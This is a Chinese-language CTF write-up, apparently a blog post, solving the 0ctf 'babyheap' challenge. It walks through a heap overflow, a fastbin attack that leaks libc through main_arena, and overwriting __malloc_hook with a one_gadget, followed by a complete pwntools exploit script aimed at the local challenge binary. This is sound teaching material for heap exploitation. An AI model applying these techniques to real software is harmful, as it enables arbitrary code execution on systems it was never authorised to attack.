0ctf babyheap

这个题  一开始 不知道是怎么回事

然后这个程序开了 保护全开  基址随机化  这就要我们自己把libc的基址给泄露出来

泄露的方法我知道的是  把堆 free到 unsortbin的fd和bk指向自身main_arena  然后可以根据 main_arena 的偏移 搞出libc 库

道理都懂 但是怎么做 就不好说了  现在这里就有一道题 

典型的菜单题  然后 看一下大概内容 有没有什么漏洞点

calloc 这个函数有两个参数 一个是 大小 一个是 长度  二者相乘 就是  要申请的大小 

然后calloc 这个函数还会把我们申请的地方自动清空 这里好像没有什么问题 我们去看其它函数的作用

这里 有一个 溢出点 就是他输入的要修改的堆块大小 是我们自己修改的大小 那么我们可以无限修改了

这里好像也没有什么溢出点

好吧 现在就知道了一个溢出点  但是怎么利用呢    如果我们能够泄露出 libc库 那么就很好利用这个程序了 

问题就在于 怎么泄露 一开始没有想到什么好的方法  然后参考了这个链接

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/#2017-0ctf-babyheap

然后发现这个这个思路真的好用  修改fd指针 让 heap[2]的指针指向 heap[4]的指针 然后泄露就可以了

这里由于堆块申请对齐 所以  index[4]的堆块起始地址必定是 0x80

那么我们就可以   payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)

然后   edit(0,len(payload),payload)    那么 fd 也就指向了 堆块4

可以看到已经指向了  第四个堆块  那么  那我再修改第三个 让 堆块四的大小是   0x21  然后  再add  两个堆块 0x10 

然后  heap[2] 就指向了  4号堆块   那么 我们就胜利了 一半   我们接下来是 想办法让  4号堆块 进入  unsort bin  

引用wiki 的原话 就是 所以该 chunk 不能使 fastbin chunk,也不能和 top chunk 相邻。因为前者会被添加到 fastbin 中,后者在不是 fastbin 的情况下,会被合并到 top chunk 中 

然后我们修改3 让 他的大小是0x91  然后 再在后面申请一个 chunk  然后  然后free了 4  然后 再打印2号的内容就可以get到了 

main_arena

然后就是hook malloc函数  找 one_gadget_addr 就只能根据库去找

然后其他就没有什么了

下面是根据wiki写的脚本

from pwn import *

context.log_level = "debug"
io=process("./babyheap")
elf=ELF("./babyheap")

def add(size):
    io.recvuntil('Command: ')
    io.sendline("1")
    io.recvuntil("Size: ")
    io.sendline(str(size))

def edit(index,size,content):
    io.recvuntil('Command: ')
    io.sendline("2")
    io.recvuntil("Index: ")
    io.sendline(str(index))
    io.recvuntil("Size: ")
    io.sendline(str(size))
    io.recvuntil("Content: ")
    io.sendline(content)
    
def dele(index):
    io.recvuntil('Command: ')
    io.sendline("3")
    io.recvuntil("Index: ")
    io.sendline(str(index))

def show(index):
    io.recvuntil('Command: ')
    io.sendline("4")
    io.recvuntil("Index: ")
    io.sendline(str(index))


if __name__ =="__main__":
    add(0x10)
    add(0x10)
    add(0x10)
    add(0x10)
    add(0x80)
    dele(2)
    dele(1)
    payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
    edit(0,len(payload),payload)
    payload = 0x10 * 'a'+ p64(0) + p64(0x21)
    edit(3,len(payload),payload)
    add(0x10)
    add(0x10)
    payload= 0x10 * 'a'+p64(0)+p64(0x91)
    edit(3,len(payload),payload)
    add(0x80)
    dele(4)
    show(2)
    io.recvuntil('Content: \n')
    unsort_addr=u64(io.recv(8))
    main_arena =unsort_addr-88
    libcbase_addr =main_arena -0x3C4B20
    add(0x60)
    dele(4)
    fake_chunk_addr=main_arena-0x33
    payload=p64(fake_chunk_addr)
    edit(2,len(payload),payload)
    add(0x60)
    add(0x60)
    one_gadget_addr = libcbase_addr + 0x4526a
    payload = 0x13 * 'a' + p64(one_gadget_addr)
    edit(6,len(payload),payload)
    add(0x90)
    #gdb.attach(io)
    io.interactive()
    io.close()

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值